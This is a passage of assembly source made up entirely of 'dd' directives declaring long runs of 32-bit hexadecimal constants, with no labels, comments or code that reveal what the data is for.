dd 0EA49BF47h, 21B211B1h, 0F07A88CEh, 0EB30C230h, 0A42C4280h
dd 0CF81176h, 6AD6C84Fh, 12408CA9h, 9A447EACh, 0E818B8DAh
dd 6514138Dh, 0F6292AC7h, 489BEB9Ah, 3E157635h, 0A421F659h
dd 3D889291h, 664BE7A0h, 663A4267h, 0E6CF8340h, 3E1AC70Ch
dd 0BB3749DBh, 0A15C2258h
dd 0DBC6E91Fh, 7B39D39Dh, 8E8905Fh, 60C9093Fh, 1467BECCh
dd 0F7EE4D68h, 0FAE811D0h, 17C637ACh, 52A28883h, 28E16B44h
dd 2BAE12A2h, 3EB9BA5Dh, 26E4E222h, 0BF2D5BCDh, 0D3D3582h
dd 1FA3316Eh, 0D467A19Fh, 0B8057615h, 650FD40Bh, 71C1EBF1h
dd 0C3F1F0Bh, 3FF7EBB5h, 0A57E12E4h, 559CDCA0h, 4EE0A080h
dd 0BFF5D248h, 751A8449h, 0C4B65DD7h, 188B6398h, 0B1BCC5ABh
dd 385A41E1h, 0FF0800A4h, 36F76B29h, 0D47A78B0h, 1B190183h
dd 473E1382h, 621EF603h, 4F8104C4h, 0C5F1C715h, 38F92A43h
dd 0CC6079EBh, 2B34FEB7h, 8D47CB9h, 9C538999h, 0C483DF66h
dd 21DBD32Ch, 9B21277Dh, 282ACF3Ch, 0D597AFA6h, 0ECA437BEh
dd 0EE29D301h, 98D282D6h, 1B1C2E77h, 6CE58A7Eh, 0F405D8F7h
dd 568A6396h, 0D8DEED18h, 0FBF4E137h, 71E24BF3h, 0AC006BC3h
dd 5EE3C21Ch, 33945396h, 10A2C0DBh, 0CED9BEB1h, 6B1EBE7h
dd 0F8686D0h, 3FD1EEB9h, 0CDBE1DB0h, 0DC3FC2CCh, 0D9FFF802h
dd 0F125246Ah, 0EE9230D9h, 3299FCC0h, 0A8A502E4h, 34998B0Ch
dd 3CB0680Bh, 4312F65Bh, 54D1811Fh, 0AAC56D75h, 0D3FF3536h
dd 3CC8D524h, 28B0D3A4h, 0E96712h, 0AE009D40h, 0A5BE2E7h
dd 0B391D441h, 65A556BDh, 68F52DC5h, 905E8BF2h, 7778EF6Ch
dd 97FFAD62h, 0E7EBF229h, 57701Ah, 0CD2B1C15h, 0D15C28C3h
dd 0B9C86A6h, 79292DACh, 0CC97AD67h, 8D210F79h, 264FDE9Ch
dd 4938FCF4h, 31ED72F8h, 78B845D1h, 1A646E65h, 314A3B25h
dd 3FAA73E7h, 645D3E70h, 0ACEE8C61h, 7C3894Ah, 0D11F0AB3h
dd 7DC8C193h, 0E71C2642h, 2CB5F6EFh, 8DB90B5Eh, 87E3D340h
dd 2488B4C1h, 8D05877Ah, 163F71D2h, 534D5E0Dh, 0B94ABB31h
dd 822F19F3h, 89DB45BEh, 8B5B710Dh, 84FEAF00h, 9AFF834Bh
dd 0C64E7F97h, 30E1C4F9h, 0B6490695h, 3C4DA352h, 0A0ECEEC3h
dd 1094C2A4h, 0B22133AFh, 2251DF37h, 0A9F45259h, 52A32EC8h
dd 0D9798CDBh, 7FA4CB4Fh, 28359A8Eh, 0B2F568C2h, 0BBB9D1C5h
dd 58CFD1BAh, 0D4B6C6CCh, 8EE88F5h, 0AF16347h, 733A0771h
dd 3BAC3D89h, 85E2FB99h, 0E33E4E36h, 0F551342h, 0F0B8E0D5h
dd 2685DB80h, 0C88BC7EAh, 80A3D533h, 0F60B5F40h, 0A483217Fh
dd 1B8495F1h, 4BD32062h, 0FA9C18ACh, 6EC2BC7h, 1CFC1F7h
dd 98B69500h, 18D231A3h, 90486BF9h, 1A369EBEh, 3648E1F0h
dd 9C853678h, 0A592E44Ah, 8C133320h, 41A535D3h, 9874F9CFh
dd 22D2B0B1h, 737D3263h, 0AEA2D28Eh, 3EE3A708h, 0C8AEB9E1h
dd 62250857h, 3ACB445Ch, 0FC434146h, 269CEE81h, 3360F78Bh
dd 0F0CDD4C6h, 1B3350C1h, 0CEB021B7h, 0EA8E9340h, 479F0635h
dd 0AD1683F9h, 0CA4B2EDEh, 0CF7B552Bh, 0E85D0C3Fh, 62574A90h
dd 25806C62h, 380C87D5h, 252F0D5Ah, 57EFCD68h, 5350DC2Bh
dd 7002B0D2h, 0DF882FFEh, 1594AD1Ch, 3A7E44CBh, 6B68CF5Dh
dd 0D66D5FE3h, 67675CADh, 6ECC7BD9h, 3794DE48h, 0A1FB33Fh
dd 2B97B2Fh, 5EF3B344h, 0EC47E985h, 284BDB9Eh, 8A12B65Eh
dd 7BBC9BE9h, 0D9B27C02h, 3DD904B6h, 4EC7008Ah, 4E63BEEAh
dd 0B8D6DB89h, 60FB0560h, 1E41210Ch, 9484CC93h, 5CC39C8Ch
dd 85D0572Dh, 983B27C9h, 0EC618BB8h, 0B138B70Bh, 0E7A91A74h
dd 1B099239h, 1ACE98AEh, 0CF480ECEh, 617DD4A8h, 0A9CC418Eh
dd 18E7684Ah, 0EED4EAE1h, 0C62E9D75h, 0ABE6D3C1h, 0FC31697Ch
dd 37A97C25h, 9DB74F8Ah, 40AF1BB5h, 9FAD1D5Dh, 6909364Eh
dd 604727D7h, 5B4FFB25h, 3E0144B3h, 0B831723Fh, 3CDA81DBh
dd 703317Ah, 194FED88h, 0A2F57DAFh, 4A1F1E99h, 14C65ECFh
dd 0F6179653h, 42729D7Ch, 6DE8DA24h, 0DA78A179h, 1CA2244Eh
dd 4E2E2594h, 0F062E7FFh, 2C15BF3Eh, 552FC7FFh, 77CF8947h
dd 0B7D9CEA6h, 3528950Ah, 0ACA2440Eh, 9AB92DE4h, 0F1295D79h
dd 9EF1C929h, 0F544DE3Bh, 3EE162F3h, 53474D08h, 0BF2B243h
dd 41D0AE8Ch, 6D8801FBh, 0B0808776h, 506F3946h, 0FCB80A75h
dd 0CC09D6BAh, 0E4E5F865h, 82C1E676h, 777F8E2Bh, 0D00FCCF5h
dd 0A14CD81Ah, 2111883Eh, 4EA961A3h, 1E0BCDB7h, 0B0521AC9h
dd 0AE194FB9h, 0D1A3B9BCh, 1CCFE4EEh, 0B3166A1Dh, 216EB350h
dd 0BF17A534h, 3F57BA86h, 0B286AA4Bh, 0C96D2F15h, 0ADC33043h
dd 0CB7992F9h, 485E7874h, 0B7281A4h, 1EC0C104h, 3B95F35Bh
dd 0BAB1D156h, 8DD1C3F0h, 9026D776h, 33EFE207h, 50B7D83Bh
dd 0D141139Ch, 0E1E6391Fh, 73138A49h, 0DFB3FE25h, 4E36179Ah
dd 41E06C0Fh, 0B2B79AAAh, 0EB92CEE3h, 0DADD886Bh, 138999C1h
dd 0DE69B96Eh, 0F881154h, 774AF332h, 52CED522h, 96EC8053h
dd 1245DAC4h, 15C5255Bh, 0B97C280h, 15271E73h, 8E0DB753h
dd 96F9868Dh, 136AF231h, 75050B66h, 4AF65F6Dh, 78BF1204h
dd 8F62CBEFh, 0B2F1F810h, 0DEDFF864h, 0BFCEBC44h, 38B97B11h
dd 0C15BE984h, 48490476h, 32D08FDBh, 0D8B2512h, 7E85E0FDh
dd 0B1F2C985h, 0DE94F4ECh, 1A583D22h, 0F8D4ECBCh, 0EBFC26D6h
dd 0D9F19419h, 3BA61184h, 769E0BEAh, 7FCC5C71h, 5ACC7913h
dd 0BFB68912h, 0F0876DDAh, 0D5A6BE71h, 116C0E61h, 4C57E2FAh
dd 0A68BEA90h, 6D057C5Dh, 448C5282h, 0BC0CC615h, 0DFDC54CCh
dd 0AFD75A65h, 83FBDE63h, 4A4D4965h, 93B8F9F9h, 21E7D897h
dd 0F3649C8Ch, 1EBB4924h, 0B27736DBh, 899FBFA9h, 82EEA005h
dd 0FF065C2h, 0A26EA297h, 6B282393h, 0A9E6F066h, 0D8720A9Eh
dd 0F95FF598h, 7950D8A8h, 0A34FC02Fh, 0E7B70E25h, 0B7D501Eh
dd 0C195A02Ah, 28F7D848h, 9253AC00h, 5DEEAA5Dh, 967342BAh
dd 3D201B69h, 31D10040h, 8F41E77Fh, 5FACA140h, 932CA109h
dd 0AAF9CA61h, 883E987h, 168B22C6h, 0CD6BFDC0h, 0CAA8C1F5h
dd 799EC8C4h, 42E504AFh, 0B6C75829h, 35510F79h, 0D078263Bh
dd 0CF2FC2F8h, 69A1359Fh, 10AC7B65h, 0ECE10F7Fh, 2D792CB8h
dd 8D70B435h, 8CCE6B26h, 0B4C668CFh, 8161BED1h, 0E86B239Ah
dd 0DC4063BFh, 238DAEAh, 0BB97883Fh, 18846E62h, 8E9D0524h
dd 7035D927h, 8B50F930h, 71E9E54h, 105C57C7h, 6CA534F2h
dd 535D268h, 0BD30693Dh, 4676D1F5h, 3FACBEE2h, 0F50DF8B2h
dd 0E469B6EEh, 19E9DEB7h, 0F04C476Bh, 0FC0CAB2h, 1BCA2A1Ah
dd 28F28B95h, 7A83B061h, 9C8EB022h, 0DEBFDAF0h, 0CFD76C57h
dd 0B788BCF9h, 8C4B1373h, 73FE7B6Ch, 191FC130h, 0AD28919Bh
dd 5CF6582Dh, 0D92A5983h, 498A53A2h, 7062372Dh, 0DB2D99A1h
dd 0EC92C9B1h, 5329A7A2h, 5945B314h, 11F71A11h, 0AA3E2F47h
dd 144209B7h, 0AB2D7801h, 472DC2BAh, 87C06202h, 0B3C99D0Fh
dd 855882EFh, 0D341D8EEh, 0EFC5BB12h, 555620BDh, 5B4B62E3h
dd 23D0D38Ch, 76E25B58h, 35A5217Ch, 0D2C18B0Bh, 2A58CBA4h
dd 5817E0C2h, 5E2815D6h, 171A536Fh, 7C26ECEBh, 1197B4CAh
dd 7D95DE48h, 0CA394985h, 3A5FC619h, 28352CF6h, 67D790ECh
dd 2A3FD3E0h, 803A2173h, 0E3DF0486h, 3D93232Ah, 7B895651h
dd 0E92FCA96h, 24EFFE4h, 0C2EAF7C9h, 0F7F85CB3h, 844A210Fh
dd 0DE45B953h, 0D9AC65Bh, 0A30008FCh, 76D31215h, 0F2DA4B7Bh
dd 0A4461C2Dh, 9FE81CCCh, 0D45B8025h, 9D96D3CCh, 0C7F5309Bh
dd 7D1658E3h, 0E0193630h, 3F77F6F8h, 3645C265h, 123EDD5Fh
dd 1506B9DFh, 0ADE7CB36h, 5EADE715h, 7529C322h, 49CA649Ah
dd 0EA9EACD6h, 0EF6858C5h, 14FD660Ah, 0A82F7371h, 0FCC361E6h
dd 1DE4466Dh, 7BC67940h
dd 0F7C3595Bh, 3927B059h, 0B7C7BD05h, 9D29016Dh, 0E1687CD7h
dd 39229094h, 8778AB7Dh, 6C62396Fh, 0B2B6C94Eh, 4C004F05h
dd 7D736B16h, 23EE4E87h, 0F3DBB42Dh, 8BBAB1F6h, 5C727393h
dd 7C2204DAh, 3E8015E2h, 0C8435E1Bh, 9F14BE82h, 0BBD25138h
dd 0D04BD592h, 0DF2AC148h, 0E34351E3h, 0F3DA1C4Bh, 0E39FCC6Bh
dd 0C4519803h, 17C58652h, 0F75DE0A3h, 1FDED6B1h, 0ACB87794h
dd 0A24173C5h, 0D7B45A6Bh, 0D93A87D9h, 4F0F2EB0h, 0E6585FAEh
dd 208A404Ah, 297AB294h, 0DCBB3D6Eh, 5531A3FAh, 264011D1h
dd 5EAF39E6h, 9BD47452h, 85FA7FDh, 0A3353970h, 2B317D76h
dd 6958641h, 8FA7C508h, 0D34C95B9h, 9F046106h, 0CC6131F6h
dd 0B9461B7Ah, 0C714079h, 27412EB1h, 7FEDD6FBh, 7EA7BAB0h
dd 0C3EBF0C8h, 0E8434568h, 0AA18A7D0h, 419E8B40h, 19E02B99h
dd 28AAF420h, 7D5481B0h, 42BEFC33h, 0B73BD2FCh, 0C670DC37h
dd 0C8E43F23h, 77206D4Ch, 6C5BCA4Dh, 0D23E3A0Fh, 54CF0C26h
dd 2752D27Fh, 0ED6ACE82h, 67F22D1Fh, 0E74B9938h, 0E2EDFA6Fh
dd 0CB740488h, 4AB29956h, 0DE2C6569h, 0DEE673C1h, 1FDE91CFh
dd 2BB59122h, 6B471ADBh, 9BBD0B60h, 5D3985E7h, 97E5D99Ch
dd 0C859698Bh, 0DAC61D18h, 3801C995h, 4FB1CF4Ch, 5F23C195h
dd 0FEEE4B41h, 0A6FA8A81h, 0B76F4FF6h, 362A7A4Fh, 2B202579h
dd 0E7DFB5FCh, 55999FC7h, 9C1F9AADh, 0A1EC8760h, 4E5AE3C2h
dd 7AEBEC42h, 0B8505A64h, 29D81E6Fh, 0E0A9A037h, 0B03CD906h
dd 1BA168D7h, 0BFE83D30h, 0DDC43A74h, 0CB46D5BAh, 6E0CDBDFh
dd 0C3049EFh, 6D9E30FFh, 15CB358Ah, 822779BAh, 9E7E2376h
dd 80D241A9h, 0AE523A71h, 7A694D4Bh, 368B0BD1h, 7A99FD1Fh
dd 0C87D38D8h, 4AEB42A1h, 0FAAEAFE2h, 0FB0E43Ah, 4B8B5C84h
dd 0D76B8018h, 5D53B3E3h, 5B1F175Ah, 0A0C5CF9Fh, 2EF9377h
dd 100900D0h, 377158FBh, 0E7B8CE06h, 0E3E01BBBh, 598F479Ch
dd 26D79287h, 9B811DC2h, 0B063291Ch, 0CF6DA3C3h, 114E3651h
dd 0AC0F7B38h, 563A9FBCh, 5C4BAD4Ch, 6C5E2CABh, 0D40B4F30h
dd 849E5310h, 0A76067E3h, 91BE0C03h, 693EDA49h, 0A132830Eh
dd 4B2BBF1Fh, 9997DF14h, 0D0E79058h, 939A0A10h, 0BB99F541h
dd 164B3FF7h, 6E0FCE20h, 0E94B3EFCh, 57BCC903h, 0CBD43D56h
dd 4283E7C0h, 3DB7DFBCh, 0CEFD496Ch, 75F284A2h, 2E668F73h
dd 0A9207044h, 5DBAADD0h, 0E2CB1D7Ch, 53DF062Fh, 0D27D8BB1h
dd 334CBB6Ah, 245D17A7h, 0CF34A41Fh, 0D66F8FA6h, 0E64310C2h
dd 12401448h, 99BE8125h, 8C43E91h, 0B646171h, 0AE62E895h
dd 8165DD24h, 0A8F52D4Eh, 23C8DAEAh, 0B412242Dh, 6A9DCA9Fh
dd 1481FA81h, 123B3043h, 0A78B4E03h, 59A70648h, 54E8CCD0h
dd 0F018A14h, 14047D24h, 6B970962h, 9689FD45h, 1AC52634h
dd 0AFD76FDAh, 48C60199h, 9840D5FAh, 0BE32BDECh, 0D1B3E6B7h
dd 1718909h, 0E8C2A879h, 50DB181Ch, 0F6FC4F4Ch, 83D6A6F0h
dd 967C221h, 7613CC7Fh, 1D828CD2h, 0AA231AF4h, 0DFE50137h
dd 0EFC44196h, 5D27DC70h, 61A9F307h, 543BF408h, 233D3D4Ch
dd 7181CE99h, 4ADA1D24h, 0F5FA7DFh, 426499BEh, 0BE6573D2h
dd 0DA3F33BAh, 0DE8B1377h, 197A8F81h, 5915794Ch, 8CA00333h
dd 2D10F4D0h, 1B2E43E3h, 585CA5ADh, 32FC0E7h, 0A167E49Dh
dd 20B4C7ECh, 7D3E6408h, 0A884B295h, 63A7851Ch, 876C99B3h
dd 287B5C5h, 0E9A2E445h, 3A1AD57Dh, 2D451842h, 0F477AC1Eh
dd 0FA50DD11h, 93E57E92h, 2DE323C9h, 20D0BC28h, 1F086750h
dd 1D919AAh, 964AEEE0h, 9CDFCDCBh, 5C9B14FCh, 99BBBCB2h
dd 98726645h, 35F66878h, 76F57E6Bh, 6CA7DEBAh, 0EAE70ADAh
dd 5B5895EEh, 587B6C95h, 5A7D2212h, 70128CB7h, 71A71572h
dd 544CFF12h, 6E55F7A5h, 402E326Ch, 404AE28Dh, 0AB31A368h
dd 8B2021F2h, 0CC0EE104h, 40EDA974h, 5455F10Dh, 1BEF2DEEh
dd 1FA9A969h, 0B54FC936h, 0F7D5899Ch, 5B87679Fh, 4E3955C1h
dd 93E4FA58h, 1D3210BEh, 53188529h, 270635B2h, 0E4DFDD58h
dd 0DFFD2048h, 0A7FFCE0Eh, 91C037B0h, 0BB439E4h, 0EA17E00h
dd 0E3E72E6Dh, 0E31E1A36h, 2E9F390Fh, 5250E237h, 0A386FEF6h
dd 565EB7EAh, 0AE7190E5h, 621B954Dh, 0E04CDB5Dh, 23C8FC47h
dd 9328C7B7h, 6C2C1DD6h, 23F992E3h, 0EDA4CF0Eh, 816AE3F9h
dd 8B356E36h, 41DD0768h, 0D65B326Ah, 650C79Bh, 889F6E0h
dd 0AE38EAB5h, 28870FEh, 1DFA10B8h, 0B78CF2FBh, 22DA0129h
dd 0EF2ACFA4h, 7B6222CDh, 0BB4EBF8h, 6472D617h, 0C51EAF77h
dd 97ADC2EBh, 0BEFA206Eh, 1C4A487Ah, 0C8FF7BFAh, 590C1B15h
dd 5E3B30A3h, 2D1C8973h, 1C933E75h, 7FF0DF77h, 4FBDB5A7h
dd 4EEF05C0h, 3B3828A3h, 1B135BE2h, 1DC6187Ah, 0F267A722h
dd 0CAD423D1h, 24DE05EAh, 0BD8D6DEDh, 57DB1EC9h, 600C6337h
dd 91284581h, 54283BAAh, 5ECFBD0Ch, 40C0B230h, 51FFB75Bh
dd 46EB02BBh, 779C4920h, 9E2736FFh, 294AFFFDh, 0D09FBE6Fh
dd 0D20AE347h, 0E4CA426Ah, 80A92421h, 9DBAE0BEh, 0A3C74741h
dd 4526DCCCh, 2DCA6D5h, 939CB9C1h, 0F6C2F478h, 0F9B4B35Dh
dd 41472008h, 88045838h, 7946E1DAh, 0FE4618B8h, 0BE31F38Dh
dd 0B73C056Eh, 99F7A622h, 9A47D900h, 1CCFF3D2h, 7934E67Dh
dd 0EDF80770h, 0CC104213h, 70C329AFh, 735DCADDh, 2CF8577Dh
dd 6D7921BEh, 0E61B7DEAh, 7B62DCFBh, 0B71C8789h, 0D427E120h
dd 0F4DAD73Eh, 68F91BFCh, 39D28458h, 0A2C205B6h, 4A6F47BAh
dd 0ABDE6075h, 45C62E23h, 8FA9D391h, 8195D4F5h, 0CA9D271Bh
dd 699842C4h, 0AE9109B5h, 0F96CC5EBh, 0CE9201CFh, 0F1BB7795h
dd 700124E8h, 3A57870Eh, 58D40FABh, 41AE17C0h, 0F7EFCD32h
dd 0D220FF22h, 0B4072F18h, 8615D8D5h, 67B4FFB9h, 287C2FCEh
dd 60703CBEh, 180CE8BEh, 0F58BA0C4h, 2EA39F2Fh, 0D1329998h
dd 87E06C3Ch, 1AEB5CEFh, 0F1A3D841h, 0AE248A07h, 0D5B06EAEh
dd 46E315CEh, 75B02A68h, 0A6F453E7h, 4CEC81ADh, 2C6CDBA4h
dd 0CC03FA9Fh, 0DE963CCBh, 6B2388EBh, 0C5D06061h, 3659226Ah
dd 0DF5CC7EEh, 0AF2347B0h, 2F75DC79h, 0F090389Bh, 56924D26h
dd 58B68169h, 8CF219A1h, 0D7AD38AFh, 6BCD95CEh, 0A915BF9Dh
dd 77FD6D9Dh, 0EC96B6FEh, 66C380C6h, 1180CCD2h, 0D7C9BB96h
dd 76AF66E8h, 108E9E8Fh, 172FB61Bh, 97532269h, 8DFA822Fh
dd 0D733C018h, 5C87AAA1h, 0EFD7250Ch, 11DBE251h, 0CB9EC701h
dd 758FF887h, 0A6053787h, 807346D6h, 8A4FB27Fh, 85407F75h
dd 0D0B23E41h, 0DEE337CDh, 3C758652h, 89F44EC8h, 0CB9DF812h
dd 5438C408h, 2EB69D7Fh, 9F468FD6h, 0D57CA749h, 0FC997BFEh
dd 457DD499h, 3F38E8FAh, 621BB498h, 3C6FAD92h, 45AA10Dh
dd 0C845FB2Bh, 84D87930h, 76663B70h, 56D12CD8h, 0C6697358h
dd 0A8700077h, 49A6A299h, 2F0A984Bh, 3EBE2429h, 9D710FA9h
dd 21D6DE01h, 0D31DBB28h, 29A209ECh, 0FCBC2430h, 44AC9F1Dh
dd 293BD572h, 7FE024BDh, 0A6C83687h, 776DC71Ah, 0B87DA854h
dd 0E21C6B04h, 0EE301FBBh, 2F8F9605h, 0A4242A34h, 0E8E273A1h
dd 0D9EA31C5h, 0DC173B6h, 0C480441Ah, 0E25AAAC4h, 0E300C10h
dd 0E6CE28F9h, 0D5C51CE8h, 0E53A3928h, 0FDAD5514h, 5DBE808Bh
dd 4AC7C86Fh, 0C6BD517Eh, 0EA6BE4D7h, 0E077B5h, 0D3FFB2BAh
dd 4071A0A0h, 6C5BC1D8h, 30C0EE61h, 0B491675Fh, 0C7D0B7B6h
dd 0D83F38E0h, 5336271h
dd 32EA408Eh, 883A7743h, 0CAF1B60Fh, 8CA3E63Ch, 4429F3F7h
dd 726DA428h, 0C7B9CDE7h, 0F4E4B464h, 0F9852098h, 0A8BB037Bh
dd 579E51EDh, 0C40CE6A9h, 6BAB3457h, 39C0DB1Bh, 0C86B0FCh
dd 0C2E147CEh, 1664EF92h, 9B9D5B90h, 0EECFC045h, 9DFB7961h
dd 0C91AE08Bh, 20B7A450h, 56F62897h, 4D24B61Ah, 0DFD72981h
dd 0A46909B8h, 7F63005Ah, 10DC4B31h, 414534FBh, 9F41D061h
dd 5A88D477h, 0E57ADF9Fh, 3C33FDE6h, 9A8D68Ah, 0B2342111h
dd 81168C0Dh, 69E2A770h, 7B55E024h, 0FEF74147h, 0A6A29914h
dd 0A149D47Eh, 8301B59Dh, 0D3C8FFCh, 0AECDC949h, 39F24DD2h
dd 0AA609FE5h, 0A48CEA00h, 0DD686AA4h, 0F8FE778Ch, 7C25855Fh
dd 124C559Ah, 77C5491Bh, 33159044h, 0FF91EB71h, 13D85F2h
dd 22B0ABBAh, 10D1DB9Dh, 266BE9A8h, 0AE1D2D25h, 0D40F9394h
dd 25F7498Ah, 86ECD6ADh, 0F07F3445h, 0DF980734h, 0F0247A0h
dd 12418DD7h, 5BF15007h, 64F0D2E4h, 0A071ADF0h, 51B11BDDh
dd 2979F0A9h, 0A08602DBh, 0B29C76D8h, 0CEDC5CC2h, 9087921Dh
dd 0E2406A4Ah, 659E17D5h, 0F195D323h, 0BD748B4Ah, 0C7F434DFh
dd 7F0A334Ah, 0C1A72164h, 45514C4Fh, 26B4763Dh, 0A826AE9Eh
dd 0B4D6E050h, 2EB0616Dh, 4ABFA9ACh, 8D9C99C0h, 0DA66996Eh
dd 0FCB599CCh, 30439FEAh, 0DB6BC40Ah, 0EC638924h, 50B3B27Ah
dd 3C707057h, 1C85FB7Eh, 2572AC22h, 0BE0063E8h, 0A180C5FEh
dd 456EB97Dh, 420906B4h, 9FBF7A58h, 0C3A2ADF7h, 39787F65h
dd 0C0278FC6h, 971942E9h, 1453787Eh, 0D33ECDE7h, 555785Fh
dd 0AC1D4769h, 8FEDBE5Eh, 1D8C6EF1h, 230558FBh, 404966F5h
dd 0D0960375h, 0F4B39A74h, 0F610578h, 3D8015ABh, 0D9865A85h
dd 40B82F65h, 4FA423BDh, 3698C350h, 4041866Ah, 9351C04Fh
dd 99AB0872h, 1747DB2h, 0A8B35DD8h, 2BF4A2ECh, 0DB1ED9DAh
dd 3A3EA5BFh, 0BD28AAA0h, 6CCD434Ch, 0AFB91BF7h, 0F4A2B8B7h
dd 0B5971F7Dh, 540AC4BFh, 0AA5A3981h, 27901367h, 0B8BCD577h
dd 87F61043h, 2772F524h, 173328E1h, 306C2EFEh, 0A714F3D6h
dd 3E2AE66h, 3E070AE4h, 4EA63093h, 0B9D656E4h, 65336798h
dd 0F1463372h, 32CDE0BAh, 794D64CBh, 6249C1DDh, 2BB1AB0Dh
dd 0F73DA6D3h, 6384A143h, 62380E7Ch, 44D1545Ch, 0CDA68F5Dh
dd 661C6527h, 78215D17h, 0FF8E3A63h, 18087985h, 0B3520F00h
dd 3B30A7F9h, 586CED44h, 0B6031779h, 0A686DD25h, 359BEE0h
dd 0F9B2CAADh, 0C6A119B5h, 0AABCE1D0h, 94B71E8Ch, 0C7303D97h
dd 0FE111804h, 9FBC31E0h, 17C7AED9h, 0DFCECB27h, 0B5C44E37h
dd 57BB0522h, 34AA06A6h, 1C4A794Dh, 66D11BC2h, 93C393BAh
dd 11D9D051h, 8C6D492Ah, 6A525CCDh, 2013FF15h, 8308C2BCh
dd 20D7CB77h, 4978D81Ah, 0CC262C20h, 0CC4F1D3Bh, 56F086D4h
dd 382CB55Eh, 43941365h, 0CB6BE9BEh, 1DFA539Ah, 7B607A97h
dd 0A6D6AB15h, 0FC614F44h, 5E9D7D8Dh, 0D695EC64h, 8A50F868h
dd 9F4B9379h, 0C9F45855h, 86050136h, 0D7A55420h, 5C42B859h
dd 0F0AF9AB1h, 7FDF250Dh, 0FF501437h, 0F37408ADh, 0E5E20E40h
dd 0B186BAA5h, 941FA195h, 359A379Dh, 64A36826h, 56088A64h
dd 513C8CACh, 79C452F8h, 15C42F2Eh, 0DB2194B9h, 0F4FAB1DFh
dd 1D857C74h, 2F105F44h, 0C74F9A55h, 9B0C7CA9h, 0E40783F4h
dd 0F27F6234h, 0C6699348h, 3880D87Ch, 0D186CE0Ch, 0A12B1832h
dd 0FF44303Ah, 97447BBCh, 1D7F2FB3h, 0A977CA31h, 0A0FD45ACh
dd 287D3085h, 0AFC5CABEh, 5815F79Ah, 0A98D063h, 0EDB738C1h
dd 7222DCB6h, 16C9EFDAh, 7222A682h, 1D62C5D8h, 0BD2EF7FCh
dd 65569777h, 679635B9h, 5B5283C5h, 0E9F460E7h, 0BC62EFDDh
dd 6F22D3ACh, 4511F9E2h, 0B18EB008h, 0BF341513h, 922F4A50h
dd 0C9BA084Eh, 0C58B996h, 2D63ABD2h, 137A236Ah, 4DDCF079h
dd 7CD9D9E2h, 68C15AF9h, 9E585572h, 2DD3B913h, 0E69B3507h
dd 7223B6F9h, 0FE57621Ah, 6D9302EEh, 0F76E985Ch, 112914C9h
dd 59768285h, 0E2505CF1h, 8D1E3AB7h, 9573EEB8h, 3AA84189h
dd 7472629h, 0B83A6BB5h, 86B5C9C0h, 0DA448D8Bh, 0A1C57F9Fh
dd 382CFF0Bh, 570D5A99h, 4ECCC9A7h, 0ACAE0575h, 0CF8D26F8h
dd 0A0CE4225h, 4A18BF3Eh, 99846F6Ch, 0B8069ACAh, 17B48F14h
dd 2D417CFEh, 8FF324B0h, 1737C715h, 78129B96h, 0A13F79FCh
dd 9B7DD22Bh, 38DAA727h, 20A0A759h, 15A06C24h, 204E4227h
dd 76794B14h, 84B9C04h, 1A284309h, 0E5F0AADBh, 85968205h
dd 0C1B5C4A1h, 294FE3D2h, 0E9AE25B8h, 5EFB0BBAh, 0DB743558h
dd 33EA9EA9h, 63CE9235h, 0E6F0A388h, 40F752A7h, 0EEAFBDE8h
dd 67C83FA6h, 744C3FAFh, 0FA7E1EB4h, 6BF276DAh, 9C3AC7ACh
dd 0D25708F2h, 2145DA12h, 71C01890h, 0A53DDB1h, 1B1F12EBh
dd 0A0B6FE0Ch, 0F0FDDAD4h, 903CE4C4h, 27C4C004h, 0FD800325h
dd 447490B8h, 78F4216h, 0ADE9A0F3h, 8FBF9EA5h, 84E649D4h
dd 47504E84h, 0F1303119h, 0AC9815BEh, 817AF1D1h, 0CD803D3Ah
dd 7C9E200Eh, 0AE1B7C28h, 989E026h, 46008301h, 3FE5809Bh
dd 0AD676FBAh, 8638B9F5h, 9283B8A0h, 361B1DF2h, 1675D87Ah
dd 84DFB05Fh, 0C83FE4C4h, 0AF049764h, 0EB9D9C2Bh, 0B850D05Ch
dd 686F29FCh, 0C87AF447h, 0B21472DAh, 582E7E5Bh, 793F42F9h
dd 0CADDDD06h, 0AFE44535h, 54B3E4CAh, 0ADC0C553h, 74C6527Bh
dd 7D2FA23Dh, 0D8423A68h, 6F5F6ADh, 82E148A4h, 0DDCF1Ch
dd 5364CBDFh, 9AA295FEh, 0BF9B1E6Ch, 158B7394h, 8568DB99h
dd 45CDE781h, 0F0EBC486h, 0C2F06D30h, 0F9834B42h, 0C7F663BCh
dd 0FE5DBCF0h, 59C5F53h, 0D96E314Ch, 93ED6600h, 0A334770Dh
dd 6DF0416Eh, 890932EEh, 2E2D2D36h, 0B365C201h, 6CDCF132h
dd 3D64B411h, 0AA9A4B4Eh, 5C7FC7DFh, 0CA8231EAh, 0B40664F6h
dd 0A839139h, 0ABEEE928h, 8471F87Ah, 3B368D4Fh, 3BAA83FFh
dd 0A40E355Ah, 4085D72Fh, 48527023h, 5086E1CEh, 0E4F8A8DEh
dd 49F26EF9h, 0BD60AD78h, 7C30639Dh, 6326245Eh, 0F64190F6h
dd 46039240h, 88695248h, 9C9FE7AFh, 6947EB45h, 139BF74Eh
dd 95C56EF3h, 967D6D50h, 32E4956Ah, 0A0864198h, 732BD3D7h
dd 4F79D32Ah, 0C0417339h, 0B3E07650h, 60A93A7Eh, 0BCBE4EA3h
dd 228E8A38h, 4DCBC6h, 0C61176D7h, 0EDCC71FAh, 0AC956017h
dd 0B29C32B4h, 10FCEE28h, 808CD797h, 8AA494A4h, 0A97EADE4h
dd 0DB14FCF4h, 8AF61891h, 25F637F6h, 0F9A9BA31h, 0F9719301h
dd 66108EB6h, 0B54F31CFh, 577A1F99h, 0E453464Ah, 0F3020835h
dd 2325C58Ah, 2FD1996h, 9F52D426h, 6E59924Eh, 551DD2E9h
dd 5D298719h, 0D05C37C2h, 0B670CB2Bh, 7F8BFC14h, 2801A100h
dd 44D5A9Ch, 0CFE1D4F8h, 0EB9CFCE5h, 73644BAh, 0B550E74Dh
dd 0C2286BE8h, 355557DDh, 4E13017h, 664EF74Fh, 5E6BA198h
dd 0DE6AADDFh, 0A542C5F4h, 0B708383Fh, 19F517E9h, 0B87C3AD0h
dd 77D489AAh, 941A6995h, 97A62C23h, 0DF90401Ah, 28513C13h
dd 0AE1D0C53h, 57D12FE8h, 79210B3Fh, 0F8A03A7Bh, 803F7E38h
dd 0AC6E46C5h, 539F1B04h, 0DF39BC3Ah, 0B869531Ch, 0C391233Bh
dd 36C2C4BBh, 0F60B65E8h, 9912DDFEh, 0C960E628h, 0DD98B3ECh
dd 0A19F1BE2h, 0DE3FD3E3h, 0D86A2CB6h, 0A4367C27h, 5F958A29h
